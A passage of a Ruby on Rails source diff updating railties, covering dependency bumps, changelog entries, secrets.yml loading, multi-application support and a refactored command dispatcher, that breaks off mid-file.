+++ b/rails.gemspec
@@ -21,10 +21,11 @@ Gem::Specification.new do |s|
s.add_dependency 'activesupport', version
s.add_dependency 'actionpack', version
s.add_dependency 'actionview', version
+ s.add_dependency 'activemodel', version
s.add_dependency 'activerecord', version
s.add_dependency 'actionmailer', version
s.add_dependency 'railties', version
s.add_dependency 'bundler', '>= 1.3.0', '< 2.0'
- s.add_dependency 'sprockets-rails', '~> 2.0.0'
+ s.add_dependency 'sprockets-rails', '~> 2.1'
end
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
index 00ef1ad058..480ec32443 100644
--- a/railties/CHANGELOG.md
+++ b/railties/CHANGELOG.md
@@ -1,25 +1,67 @@
-* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and
- `rake test:recent`.
+* Reading name and email from git for plugin gemspec.
- *John Wang*
+ Fixes #9589.
-* Clearing autoloaded constants triggers routes reloading [Fixes #10685].
+ *Arun Agrawal*, *Abd ar-Rahman Hamidi*, *Roman Shmatov*
- *Xavier Noria*
+* Fix `console` and `generators` blocks defined at different environments.
-* Fixes bug with scaffold generator with `--assets=false --resource-route=false`.
- Fixes #9525.
+ Fixes #14748.
+
+ *Rafael Mendonça França*
+
+* Move configuration of asset precompile list and version to an initializer.
+
+ *Matthew Draper*
+
+* Do not set the Rails environment to test by default when using test_unit Railtie.
+
+ *Konstantin Shabanov*
+
+* Remove sqlite3 lines from `.gitignore` if the application is not using sqlite3.
+
+ *Dmitrii Golub*
+
+* Add public API to register new extensions for `rake notes`.
+
+ Example:
+
+ config.annotations.register_extensions("scss", "sass") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
+
+ *Roberto Miranda*
+
+* Removed unnecessary `rails application` command.
*Arun Agrawal*
-* Rails::Railtie no longer forces the Rails::Configurable module on everything
- that subclasses it. Instead, the methods from Rails::Configurable have been
- moved to class methods in Railtie and the Railtie has been made abstract.
+* Make the `rails:template` rake task load the application's initializers.
+
+ Fixes #12133.
+
+ *Robin Dupret*
+
+* Introduce `Rails.gem_version` as a convenience method to return
+ `Gem::Version.new(Rails.version)`, suggesting a more reliable way to perform
+ version comparison.
+
+ Example:
+
+ Rails.version #=> "4.1.2"
+ Rails.gem_version #=> #<Gem::Version "4.1.2">
+
+ Rails.version > "4.1.10" #=> false
+ Rails.gem_version > Gem::Version.new("4.1.10") #=> true
+ Gem::Requirement.new("~> 4.1.2") =~ Rails.gem_version #=> true
+
+ *Prem Sichanugrist*
+
+* Avoid namespacing routes inside engines.
- *John Wang*
+ Mountable engines are namespaced by default so the generated routes
+ were too while they should not.
-* Changes repetitive th tags to use colspan attribute in `index.html.erb` template.
+ Fixes #14079.
- *Sıtkı Bağdat*
+ *Yves Senn*, *Carlos Antonio da Silva*, *Robin Dupret*
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for previous changes.
+Please check [4-1-stable](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md) for previous changes.
diff --git a/railties/MIT-LICENSE b/railties/MIT-LICENSE
index 0d7fb865e2..2950f05b11 100644
--- a/railties/MIT-LICENSE
+++ b/railties/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/railties/RDOC_MAIN.rdoc b/railties/RDOC_MAIN.rdoc
index cadf0fb43e..eccdee7b07 100644
--- a/railties/RDOC_MAIN.rdoc
+++ b/railties/RDOC_MAIN.rdoc
@@ -18,7 +18,7 @@ you to present the data from database rows as objects and embellish these data o
with business logic methods. Although most \Rails models are backed by a database, models
can also be ordinary Ruby classes, or Ruby classes that implement a set of interfaces as
provided by the ActiveModel module. You can read more about Active Record in its
-{README}[link:/activerecord/README.rdoc].
+{README}[link:files/activerecord/README_rdoc.html].
The Controller layer is responsible for handling incoming HTTP requests and providing a
suitable response. Usually this means returning \HTML, but \Rails controllers can also
@@ -29,7 +29,7 @@ In \Rails, the Controller and View layers are handled together by Action Pack.
These two layers are bundled in a single package due to their heavy interdependence.
This is unlike the relationship between Active Record and Action Pack, which are
independent. Each of these packages can be used independently outside of \Rails. You
-can read more about Action Pack in its {README}[link:/actionpack/README.rdoc].
+can read more about Action Pack in its {README}[link:files/actionpack/README_rdoc.html].
== Getting Started
@@ -55,7 +55,7 @@ can read more about Action Pack in its {README}[link:/actionpack/README.rdoc].
5. Follow the guidelines to start developing your application. You may find the following resources handy:
-* The README file created within your application.
+* The \README file created within your application.
* {Getting Started with \Rails}[http://guides.rubyonrails.org/getting_started.html].
* {Ruby on \Rails Tutorial}[http://ruby.railstutorial.org/ruby-on-rails-tutorial-book].
* {Ruby on \Rails Guides}[http://guides.rubyonrails.org].
diff --git a/railties/Rakefile b/railties/Rakefile
index 5728c774bd..a899d069b5 100644
--- a/railties/Rakefile
+++ b/railties/Rakefile
@@ -1,10 +1,6 @@
require 'rake/testtask'
require 'rubygems/package_task'
-require 'date'
-require 'rbconfig'
-
-
task :default => :test
desc "Run all unit tests"
@@ -35,15 +31,6 @@ Rake::TestTask.new('test:regular') do |t|
t.verbose = true
end
-# Update spinoffs -------------------------------------------------------------------
-
-desc "Updates application README to the latest version Railties README"
-task :update_readme do
- readme = "lib/rails/generators/rails/app/templates/README"
- rm readme
- cp "./README.rdoc", readme
-end
-
# Generate GEM ----------------------------------------------------------------------------
spec = eval(File.read('railties.gemspec'))
diff --git a/railties/bin/rails b/railties/bin/rails
index b3026e8a93..82c17cabce 100755
--- a/railties/bin/rails
+++ b/railties/bin/rails
@@ -1,8 +1,8 @@
#!/usr/bin/env ruby
-git_path = File.join(File.expand_path('../../..', __FILE__), '.git')
+git_path = File.expand_path('../../../.git', __FILE__)
-if File.exists?(git_path)
+if File.exist?(git_path)
railties_path = File.expand_path('../../lib', __FILE__)
$:.unshift(railties_path)
end
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
index 3a3c11d8b3..ecd8c22dd8 100644
--- a/railties/lib/rails.rb
+++ b/railties/lib/rails.rb
@@ -10,7 +10,6 @@ require 'active_support/core_ext/array/extract_options'
require 'rails/application'
require 'rails/version'
-require 'rails/deprecation'
require 'active_support/railtie'
require 'action_dispatch/railtie'
@@ -26,6 +25,7 @@ module Rails
autoload :Info
autoload :InfoController
+ autoload :MailersController
autoload :WelcomeController
class << self
@@ -80,10 +80,6 @@ module Rails
groups
end
- def version
- VERSION::STRING
- end
-
def public_path
application && Pathname.new(application.paths["public"].first)
end
diff --git a/railties/lib/rails/all.rb b/railties/lib/rails/all.rb
index 6c9c53fc69..2e83c0fe14 100644
--- a/railties/lib/rails/all.rb
+++ b/railties/lib/rails/all.rb
@@ -3,6 +3,7 @@ require "rails"
%w(
active_record
action_controller
+ action_view
action_mailer
rails/test_unit
sprockets
diff --git a/railties/lib/rails/api/task.rb b/railties/lib/rails/api/task.rb
index c829873da4..3e32576040 100644
--- a/railties/lib/rails/api/task.rb
+++ b/railties/lib/rails/api/task.rb
@@ -7,7 +7,6 @@ module Rails
'activesupport' => {
:include => %w(
README.rdoc
- CHANGELOG.md
lib/active_support/**/*.rb
),
:exclude => 'lib/active_support/vendor/*'
@@ -16,16 +15,13 @@ module Rails
'activerecord' => {
:include => %w(
README.rdoc
- CHANGELOG.md
lib/active_record/**/*.rb
- ),
- :exclude => 'lib/active_record/vendor/*'
+ )
},
'activemodel' => {
:include => %w(
README.rdoc
- CHANGELOG.md
lib/active_model/**/*.rb
)
},
@@ -33,29 +29,30 @@ module Rails
'actionpack' => {
:include => %w(
README.rdoc
- CHANGELOG.md
lib/abstract_controller/**/*.rb
lib/action_controller/**/*.rb
lib/action_dispatch/**/*.rb
+ )
+ },
+
+ 'actionview' => {
+ :include => %w(
+ README.rdoc
lib/action_view/**/*.rb
),
- :exclude => 'lib/action_controller/vendor/*'
+ :exclude => 'lib/action_view/vendor/*'
},
'actionmailer' => {
:include => %w(
README.rdoc
- CHANGELOG.md
lib/action_mailer/**/*.rb
- ),
- :exclude => 'lib/action_mailer/vendor/*'
+ )
},
'railties' => {
:include => %w(
README.rdoc
- CHANGELOG.md
- MIT-LICENSE
lib/**/*.rb
),
:exclude => 'lib/rails/generators/rails/**/templates/**/*.rb'
@@ -135,12 +132,20 @@ module Rails
def api_dir
'doc/rdoc'
end
+ end
+ class EdgeTask < RepoTask
def rails_version
"master@#{`git rev-parse HEAD`[0, 7]}"
end
end
+ class StableTask < RepoTask
+ def rails_version
+ File.read('RAILS_VERSION').strip
+ end
+ end
+
class AppTask < Task
def component_root_dir(gem_name)
$:.grep(%r{#{gem_name}[\w.-]*/lib\z}).first[0..-5]
diff --git a/railties/lib/rails/app_rails_loader.rb b/railties/lib/rails/app_rails_loader.rb
index 4a17803f1c..56f05b3844 100644
--- a/railties/lib/rails/app_rails_loader.rb
+++ b/railties/lib/rails/app_rails_loader.rb
@@ -2,7 +2,7 @@ require 'pathname'
module Rails
module AppRailsLoader
- RUBY = File.join(*RbConfig::CONFIG.values_at("bindir", "ruby_install_name")) + RbConfig::CONFIG["EXEEXT"]
+ RUBY = Gem.ruby
EXECUTABLES = ['bin/rails', 'script/rails']
BUNDLER_WARNING = <<EOS
Looks like your app's ./bin/rails is a stub that was generated by Bundler.
@@ -49,13 +49,13 @@ EOS
# call to generate a new application, so restore the original cwd.
Dir.chdir(original_cwd) and return if Pathname.new(Dir.pwd).root?
- # Otherwise keep moving upwards in search of a executable.
+ # Otherwise keep moving upwards in search of an executable.
Dir.chdir('..')
end
end
def self.find_executable
- EXECUTABLES.find { |exe| File.exists?(exe) }
+ EXECUTABLES.find { |exe| File.file?(exe) }
end
end
end
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index b5c5a6191f..2fde974732 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -1,6 +1,8 @@
require 'fileutils'
+require 'active_support/core_ext/hash/keys'
require 'active_support/core_ext/object/blank'
require 'active_support/key_generator'
+require 'active_support/message_verifier'
require 'rails/engine'
module Rails
@@ -51,6 +53,29 @@ module Rails
# 10) Run config.before_eager_load and eager_load! if eager_load is true
# 11) Run config.after_initialize callbacks
#
+ # == Multiple Applications
+ #
+ # If you decide to define multiple applications, then the first application
+ # that is initialized will be set to +Rails.application+, unless you override
+ # it with a different application.
+ #
+ # To create a new application, you can instantiate a new instance of a class
+ # that has already been created:
+ #
+ # class Application < Rails::Application
+ # end
+ #
+ # first_application = Application.new
+ # second_application = Application.new(config: first_application.config)
+ #
+ # In the above example, the configuration from the first application was used
+ # to initialize the second application. You can also use the +initialize_copy+
+ # on one of the applications to create a copy of the application which shares
+ # the configuration.
+ #
+ # If you decide to define rake tasks, runners, or initializers in an
+ # application other than +Rails.application+, then you must run those
+ # these manually.
class Application < Engine
autoload :Bootstrap, 'rails/application/bootstrap'
autoload :Configuration, 'rails/application/configuration'
@@ -61,12 +86,16 @@ module Rails
class << self
def inherited(base)
- raise "You cannot have more than one Rails::Application" if Rails.application
super
- Rails.application = base.instance
- Rails.application.add_lib_to_load_path!
- ActiveSupport.run_load_hooks(:before_configuration, base.instance)
+ base.instance
end
+
+ # Makes the +new+ method public.
+ #
+ # Note that Rails::Application inherits from Rails::Engine, which
+ # inherits from Rails::Railtie and the +new+ method on Rails::Railtie is
+ # private
+ public :new
end
attr_accessor :assets, :sandbox
@@ -75,14 +104,31 @@ module Rails
delegate :default_url_options, :default_url_options=, to: :routes
- def initialize
- super
- @initialized = false
- @reloaders = []
- @routes_reloader = nil
- @app_env_config = nil
- @ordered_railties = nil
- @railties = nil
+ INITIAL_VARIABLES = [:config, :railties, :routes_reloader, :reloaders,
+ :routes, :helpers, :app_env_config, :secrets] # :nodoc:
+
+ def initialize(initial_variable_values = {}, &block)
+ super()
+ @initialized = false
+ @reloaders = []
+ @routes_reloader = nil
+ @app_env_config = nil
+ @ordered_railties = nil
+ @railties = nil
+ @message_verifiers = {}
+
+ Rails.application ||= self
+
+ add_lib_to_load_path!
+ ActiveSupport.run_load_hooks(:before_configuration, self)
+
+ initial_variable_values.each do |variable_name, value|
+ if INITIAL_VARIABLES.include?(variable_name)
+ instance_variable_set("@#{variable_name}", value)
+ end
+ end
+
+ instance_eval(&block) if block_given?
end
# Returns true if the application is initialized.
@@ -107,13 +153,37 @@ module Rails
def key_generator
# number of iterations selected based on consultation with the google security
# team. Details at https://github.com/rails/rails/pull/6952#issuecomment-7661220
- @caching_key_generator ||= begin
- if config.secret_key_base
- key_generator = ActiveSupport::KeyGenerator.new(config.secret_key_base, iterations: 1000)
+ @caching_key_generator ||=
+ if secrets.secret_key_base
+ key_generator = ActiveSupport::KeyGenerator.new(secrets.secret_key_base, iterations: 1000)
ActiveSupport::CachingKeyGenerator.new(key_generator)
else
ActiveSupport::LegacyKeyGenerator.new(config.secret_token)
end
+ end
+
+ # Returns a message verifier object.
+ #
+ # This verifier can be used to generate and verify signed messages in the application.
+ #
+ # It is recommended not to use the same verifier for different things, so you can get different
+ # verifiers passing the +verifier_name+ argument.
+ #
+ # ==== Parameters
+ #
+ # * +verifier_name+ - the name of the message verifier.
+ #
+ # ==== Examples
+ #
+ # message = Rails.application.message_verifier('sensitive_data').generate('my sensible data')
+ # Rails.application.message_verifier('sensitive_data').verify(message)
+ # # => 'my sensible data'
+ #
+ # See the +ActiveSupport::MessageVerifier+ documentation for more information.
+ def message_verifier(verifier_name)
+ @message_verifiers[verifier_name] ||= begin
+ secret = key_generator.generate_key(verifier_name.to_s)
+ ActiveSupport::MessageVerifier.new(secret)
end
end
@@ -127,7 +197,7 @@ module Rails
"action_dispatch.parameter_filter" => config.filter_parameters,
"action_dispatch.redirect_filter" => config.filter_redirect,
"action_dispatch.secret_token" => config.secret_token,
- "action_dispatch.secret_key_base" => config.secret_key_base,
+ "action_dispatch.secret_key_base" => secrets.secret_key_base,
"action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions,
"action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local,
"action_dispatch.logger" => Rails.logger,
@@ -136,11 +206,48 @@ module Rails
"action_dispatch.http_auth_salt" => config.action_dispatch.http_auth_salt,
"action_dispatch.signed_cookie_salt" => config.action_dispatch.signed_cookie_salt,
"action_dispatch.encrypted_cookie_salt" => config.action_dispatch.encrypted_cookie_salt,
- "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt
+ "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt,
+ "action_dispatch.cookies_serializer" => config.action_dispatch.cookies_serializer
})
end
end
+ # If you try to define a set of rake tasks on the instance, these will get
+ # passed up to the rake tasks defined on the application's class.
+ def rake_tasks(&block)
+ self.class.rake_tasks(&block)
+ end
+
+ # Sends the initializers to the +initializer+ method defined in the
+ # Rails::Initializable module. Each Rails::Application class has its own
+ # set of initializers, as defined by the Initializable module.
+ def initializer(name, opts={}, &block)
+ self.class.initializer(name, opts, &block)
+ end
+
+ # Sends any runner called in the instance of a new application up
+ # to the +runner+ method defined in Rails::Railtie.
+ def runner(&blk)
+ self.class.runner(&blk)
+ end
+
+ # Sends any console called in the instance of a new application up
+ # to the +console+ method defined in Rails::Railtie.
+ def console(&blk)
+ self.class.console(&blk)
+ end
+
+ # Sends any generators called in the instance of a new application up
+ # to the +generators+ method defined in Rails::Railtie.
+ def generators(&blk)
+ self.class.generators(&blk)
+ end
+
+ # Sends the +isolate_namespace+ method up to the class method.
+ def isolate_namespace(mod)
+ self.class.isolate_namespace(mod)
+ end
+
## Rails internal API
# This method is called just after an application inherits from Rails::Application,
@@ -158,7 +265,9 @@ module Rails
# you need to load files in lib/ during the application configuration as well.
def add_lib_to_load_path! #:nodoc:
path = File.join config.root, 'lib'
- $LOAD_PATH.unshift(path) if File.exists?(path)
+ if File.exist?(path) && !$LOAD_PATH.include?(path)
+ $LOAD_PATH.unshift(path)
+ end
end
def require_environment! #:nodoc:
@@ -202,6 +311,32 @@ module Rails
@config ||= Application::Configuration.new(find_root_with_flag("config.ru", Dir.pwd))
end
+ def config=(configuration) #:nodoc:
+ @config = configuration
+ end
+
+ def secrets #:nodoc:
+ @secrets ||= begin
+ secrets = ActiveSupport::OrderedOptions.new
+ yaml = config.paths["config/secrets"].first
+ if File.exist?(yaml)
+ require "erb"
+ all_secrets = YAML.load(ERB.new(IO.read(yaml)).result) || {}
+ env_secrets = all_secrets[Rails.env]
+ secrets.merge!(env_secrets.symbolize_keys) if env_secrets
+ end
+
+ # Fallback to config.secret_key_base if secrets.secret_key_base isn't set
+ secrets.secret_key_base ||= config.secret_key_base
+
+ secrets
+ end
+ end
+
+ def secrets=(secrets) #:nodoc:
+ @secrets = secrets
+ end
+
def to_app #:nodoc:
self
end
@@ -210,6 +345,25 @@ module Rails
config.helpers_paths
end
+ console do
+ require "pp"
+ end
+
+ console do
+ unless ::Kernel.private_method_defined?(:y)
+ if RUBY_VERSION >= '2.0'
+ require "psych/y"
+ else
+ module ::Kernel
+ def y(*objects)
+ puts ::Psych.dump_stream(*objects)
+ end
+ private :y
+ end
+ end
+ end
+ end
+
protected
alias :build_middleware_stack :app
@@ -218,9 +372,9 @@ module Rails
railties.each { |r| r.run_tasks_blocks(app) }
super
require "rails/tasks"
- config = self.config
task :environment do
- config.eager_load = false
+ ActiveSupport.on_load(:before_initialize) { config.eager_load = false }
+
require_environment!
end
end
@@ -293,8 +447,8 @@ module Rails
end
def validate_secret_key_config! #:nodoc:
- if config.secret_key_base.blank? && config.secret_token.blank?
- raise "You must set config.secret_key_base in your app's config."
+ if secrets.secret_key_base.blank? && config.secret_token.blank?
+ raise "Missing `secret_key_base` for '#{Rails.env}' environment, set this value in `config/secrets.yml`"
end
end
end
diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb
index 62d57c0cc6..a26d41c0cf 100644
--- a/railties/lib/rails/application/bootstrap.rb
+++ b/railties/lib/rails/application/bootstrap.rb
@@ -42,7 +42,6 @@ INFO
logger = ActiveSupport::Logger.new f
logger.formatter = config.log_formatter
logger = ActiveSupport::TaggedLogging.new(logger)
- logger.level = ActiveSupport::Logger.const_get(config.log_level.to_s.upcase)
logger
rescue StandardError
logger = ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDERR))
@@ -53,6 +52,8 @@ INFO
)
logger
end
+
+ Rails.logger.level = ActiveSupport::Logger.const_get(config.log_level.to_s.upcase)
end
# Initialize cache early in the stack so railties can make use of it.
diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb
index 644893d9e1..4c449d2c57 100644
--- a/railties/lib/rails/application/configuration.rb
+++ b/railties/lib/rails/application/configuration.rb
@@ -1,6 +1,7 @@
require 'active_support/core_ext/kernel/reporting'
require 'active_support/file_update_checker'
require 'rails/engine/configuration'
+require 'rails/source_annotation_extractor'
module Rails
class Application
@@ -76,6 +77,7 @@ module Rails
@paths ||= begin
paths = super
paths.add "config/database", with: "config/database.yml"
+ paths.add "config/secrets", with: "config/secrets.yml"
paths.add "config/environment", with: "config/environment.rb"
paths.add "lib/templates"
paths.add "log", with: "log/#{Rails.env}.log"
@@ -87,31 +89,30 @@ module Rails
end
end
- def threadsafe!
- message = "config.threadsafe! is deprecated. Rails applications " \
- "behave by default as thread safe in production as long as config.cache_classes and " \
- "config.eager_load are set to true"
- ActiveSupport::Deprecation.warn message
- @cache_classes = true
- @eager_load = true
- self
- end
-
- # Loads and returns the configuration of the database.
+ # Loads and returns the entire raw configuration of database from
+ # values stored in `config/database.yml`.
def database_configuration
- yaml = paths["config/database"].first
- if File.exists?(yaml)
+ yaml = Pathname.new(paths["config/database"].first || "")
+
+ config = if yaml.exist?
+ require "yaml"
require "erb"
- YAML.load ERB.new(IO.read(yaml)).result
+ YAML.load(ERB.new(yaml.read).result) || {}
elsif ENV['DATABASE_URL']
- nil
+ # Value from ENV['DATABASE_URL'] is set to default database connection
+ # by Active Record.
+ {}
else
raise "Could not load database configuration. No such file - #{yaml}"
end
+
+ config
rescue Psych::SyntaxError => e
raise "YAML syntax error occurred while parsing #{paths["config/database"].first}. " \
"Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
"Error: #{e.message}"
+ rescue => e
+ raise e, "Cannot load `Rails.application.database_configuration`:\n#{e.message}", e.backtrace
end
def log_level
@@ -150,8 +151,8 @@ module Rails
end
end
- def whiny_nils=(*)
- ActiveSupport::Deprecation.warn "config.whiny_nils option is deprecated and no longer works"
+ def annotations
+ SourceAnnotationExtractor::Annotation
end
end
end
diff --git a/railties/lib/rails/application/default_middleware_stack.rb b/railties/lib/rails/application/default_middleware_stack.rb
index 370c906086..a00afe008c 100644
--- a/railties/lib/rails/application/default_middleware_stack.rb
+++ b/railties/lib/rails/application/default_middleware_stack.rb
@@ -11,23 +11,21 @@ module Rails
def build_stack
ActionDispatch::MiddlewareStack.new.tap do |middleware|
- if rack_cache = load_rack_cache
- require "action_dispatch/http/rack_cache"
- middleware.use ::Rack::Cache, rack_cache
- end
-
if config.force_ssl
middleware.use ::ActionDispatch::SSL, config.ssl_options
end
- if config.action_dispatch.x_sendfile_header.present?
- middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
- end
+ middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
if config.serve_static_assets
middleware.use ::ActionDispatch::Static, paths["public"].first, config.static_cache_control
end
+ if rack_cache = load_rack_cache
+ require "action_dispatch/http/rack_cache"
+ middleware.use ::Rack::Cache, rack_cache
+ end
+
middleware.use ::Rack::Lock unless allow_concurrency?
middleware.use ::Rack::Runtime
middleware.use ::Rack::MethodOverride
diff --git a/railties/lib/rails/application/finisher.rb b/railties/lib/rails/application/finisher.rb
index 7a1bb1e25c..5b8509b2e9 100644
--- a/railties/lib/rails/application/finisher.rb
+++ b/railties/lib/rails/application/finisher.rb
@@ -22,6 +22,8 @@ module Rails
initializer :add_builtin_route do |app|
if Rails.env.development?
app.routes.append do
+ get '/rails/mailers' => "rails/mailers#index"
+ get '/rails/mailers/*path' => "rails/mailers#preview"
get '/rails/info/properties' => "rails/info#properties"
get '/rails/info/routes' => "rails/info#routes"
get '/rails/info' => "rails/info#index"
diff --git a/railties/lib/rails/application_controller.rb b/railties/lib/rails/application_controller.rb
new file mode 100644
index 0000000000..9a29ec21cf
--- /dev/null
+++ b/railties/lib/rails/application_controller.rb
@@ -0,0 +1,16 @@
+class Rails::ApplicationController < ActionController::Base # :nodoc:
+ self.view_paths = File.expand_path('../templates', __FILE__)
+ layout 'application'
+
+ protected
+
+ def require_local!
+ unless local_request?
+ render text: '<p>For security purposes, this information is only available to local requests.</p>', status: :forbidden
+ end
+ end
+
+ def local_request?
+ Rails.application.config.consider_all_requests_local || request.local?
+ end
+end
diff --git a/railties/lib/rails/cli.rb b/railties/lib/rails/cli.rb
index e5341ac436..dd70c272c6 100644
--- a/railties/lib/rails/cli.rb
+++ b/railties/lib/rails/cli.rb
@@ -1,4 +1,3 @@
-require 'rbconfig'
require 'rails/app_rails_loader'
# If we are inside a Rails application this method performs an exec and thus
@@ -10,7 +9,7 @@ Signal.trap("INT") { puts; exit(1) }
if ARGV.first == 'plugin'
ARGV.shift
- require 'rails/commands/plugin_new'
+ require 'rails/commands/plugin'
else
require 'rails/commands/application'
end
diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb
index 48007dd2ab..f32bf772a5 100644
--- a/railties/lib/rails/commands.rb
+++ b/railties/lib/rails/commands.rb
@@ -9,103 +9,9 @@ aliases = {
"r" => "runner"
}
-help_message = <<-EOT
-Usage: rails COMMAND [ARGS]
-
-The most common rails commands are:
- generate Generate new code (short-cut alias: "g")
- console Start the Rails console (short-cut alias: "c")
- server Start the Rails server (short-cut alias: "s")
- dbconsole Start a console for the database specified in config/database.yml
- (short-cut alias: "db")
- new Create a new Rails application. "rails new my_app" creates a
- new application called MyApp in "./my_app"
-
-In addition to those, there are:
- application Generate the Rails application code
- destroy Undo code generated with "generate" (short-cut alias: "d")
- plugin new Generates skeleton for developing a Rails plugin
- runner Run a piece of code in the application environment (short-cut alias: "r")
-
-All commands can be run with -h (or --help) for more information.
-EOT
-
-
command = ARGV.shift
command = aliases[command] || command
-case command
-when 'generate', 'destroy', 'plugin'
- require 'rails/generators'
-
- if command == 'plugin' && ARGV.first == 'new'
- require "rails/commands/plugin_new"
- else
- require APP_PATH
- Rails.application.require_environment!
-
- Rails.application.load_generators
-
- require "rails/commands/#{command}"
- end
-
-when 'console'
- require 'rails/commands/console'
- options = Rails::Console.parse_arguments(ARGV)
-
- # RAILS_ENV needs to be set before config/application is required
- ENV['RAILS_ENV'] = options[:environment] if options[:environment]
-
- # shift ARGV so IRB doesn't freak
- ARGV.shift if ARGV.first && ARGV.first[0] != '-'
-
- require APP_PATH
- Rails.application.require_environment!
- Rails::Console.start(Rails.application, options)
-
-when 'server'
- # Change to the application's path if there is no config.ru file in current directory.
- # This allows us to run `rails server` from other directories, but still get
- # the main config.ru and properly set the tmp directory.
- Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
-
- require 'rails/commands/server'
- Rails::Server.new.tap do |server|
- # We need to require application after the server sets environment,
- # otherwise the --environment option given to the server won't propagate.
- require APP_PATH
- Dir.chdir(Rails.application.root)
- server.start
- end
-
-when 'dbconsole'
- require 'rails/commands/dbconsole'
- Rails::DBConsole.start
-
-when 'application', 'runner'
- require "rails/commands/#{command}"
-
-when 'new'
- if %w(-h --help).include?(ARGV.first)
- require 'rails/commands/application'
- else
- puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
- puts "Type 'rails' for help."
- exit(1)
- end
-
-when '--version', '-v'
- ARGV.unshift '--version'
- require 'rails/commands/application'
-
-when '-h', '--help'
- puts help_message
+require 'rails/commands/commands_tasks'
-else
- puts "Error: Command '#{command}' not recognized"
- if %x{rake #{command} --dry-run 2>&1 } && $?.success?
- puts "Did you mean: `$ rake #{command}` ?\n\n"
- end
- puts help_message
- exit(1)
-end
+Rails::CommandsTasks.new(ARGV).run_command!(command)
diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb
index 2ff29418c6..c998e6b6a8 100644
--- a/railties/lib/rails/commands/application.rb
+++ b/railties/lib/rails/commands/application.rb
@@ -1,30 +1,3 @@
-require 'rails/version'
-
-if ['--version', '-v'].include?(ARGV.first)
- puts "Rails #{Rails::VERSION::STRING}"
- exit(0)
-end
-
-if ARGV.first != "new"
- ARGV[0] = "--help"
-else
- ARGV.shift
- unless ARGV.delete("--no-rc")
- customrc = ARGV.index{ |x| x.include?("--rc=") }
- railsrc = if customrc
- File.expand_path(ARGV.delete_at(customrc).gsub(/--rc=/, ""))
- else
- File.join(File.expand_path("~"), '.railsrc')
- end
- if File.exist?(railsrc)
- extra_args_string = File.read(railsrc)
- extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten
- puts "Using #{extra_args.join(" ")} from #{railsrc}"
- ARGV.insert(1, *extra_args)
- end
- end
-end
-
require 'rails/generators'
require 'rails/generators/rails/app/app_generator'
@@ -40,4 +13,5 @@ module Rails
end
end
-Rails::Generators::AppGenerator.start
+args = Rails::Generators::ARGVScrubber.new(ARGV).prepare!
+Rails::Generators::AppGenerator.start args
diff --git a/railties/lib/rails/commands/commands_tasks.rb b/railties/lib/rails/commands/commands_tasks.rb
new file mode 100644
index 0000000000..6cfbc70c51
--- /dev/null
+++ b/railties/lib/rails/commands/commands_tasks.rb
@@ -0,0 +1,169 @@
+module Rails
+ # This is a class which takes in a rails command and initiates the appropriate
+ # initiation sequence.
+ #
+ # Warning: This class mutates ARGV because some commands require manipulating
+ # it before they are run.
+ class CommandsTasks # :nodoc:
+ attr_reader :argv
+
+ HELP_MESSAGE = <<-EOT
+Usage: rails COMMAND [ARGS]
+
+The most common rails commands are:
+ generate Generate new code (short-cut alias: "g")
+ console Start the Rails console (short-cut alias: "c")
+ server Start the Rails server (short-cut alias: "s")
+ dbconsole Start a console for the database specified in config/database.yml
+ (short-cut alias: "db")
+ new Create a new Rails application. "rails new my_app" creates a
+ new application called MyApp in "./my_app"
+
+In addition to those, there are:
+ destroy Undo code generated with "generate" (short-cut alias: "d")
+ plugin new Generates skeleton for developing a Rails plugin
+ runner Run a piece of code in the application environment (short-cut alias: "r")
+
+All commands can be run with -h (or --help) for more information.
+EOT
+
+ COMMAND_WHITELIST = %w(plugin generate destroy console server dbconsole runner new version help)
+
+ def initialize(argv)
+ @argv = argv
+ end
+
+ def run_command!(command)
+ command = parse_command(command)
+ if COMMAND_WHITELIST.include?(command)
+ send(command)
+ else
+ write_error_message(command)
+ end
+ end
+
+ def plugin
+ require_command!("plugin")
+ end
+
+ def generate
+ generate_or_destroy(:generate)
+ end
+
+ def destroy
+ generate_or_destroy(:destroy)
+ end
+
+ def console
+ require_command!("console")
+ options = Rails::Console.parse_arguments(argv)
+
+ # RAILS_ENV needs to be set before config/application is required
+ ENV['RAILS_ENV'] = options[:environment] if options[:environment]
+
+ # shift ARGV so IRB doesn't freak
+ shift_argv!
+
+ require_application_and_environment!
+ Rails::Console.start(Rails.application, options)
+ end
+
+ def server
+ set_application_directory!
+ require_command!("server")
+
+ Rails::Server.new.tap do |server|
+ # We need to require application after the server sets environment,
+ # otherwise the --environment option given to the server won't propagate.
+ require APP_PATH
+ Dir.chdir(Rails.application.root)
+ server.start
+ end
+ end
+
+ def dbconsole
+ require_command!("dbconsole")
+ Rails::DBConsole.start
+ end
+
+ def runner
+ require_command!("runner")
+ end
+
+ def new
+ if %w(-h --help).include?(argv.first)
+ require_command!("application")
+ else
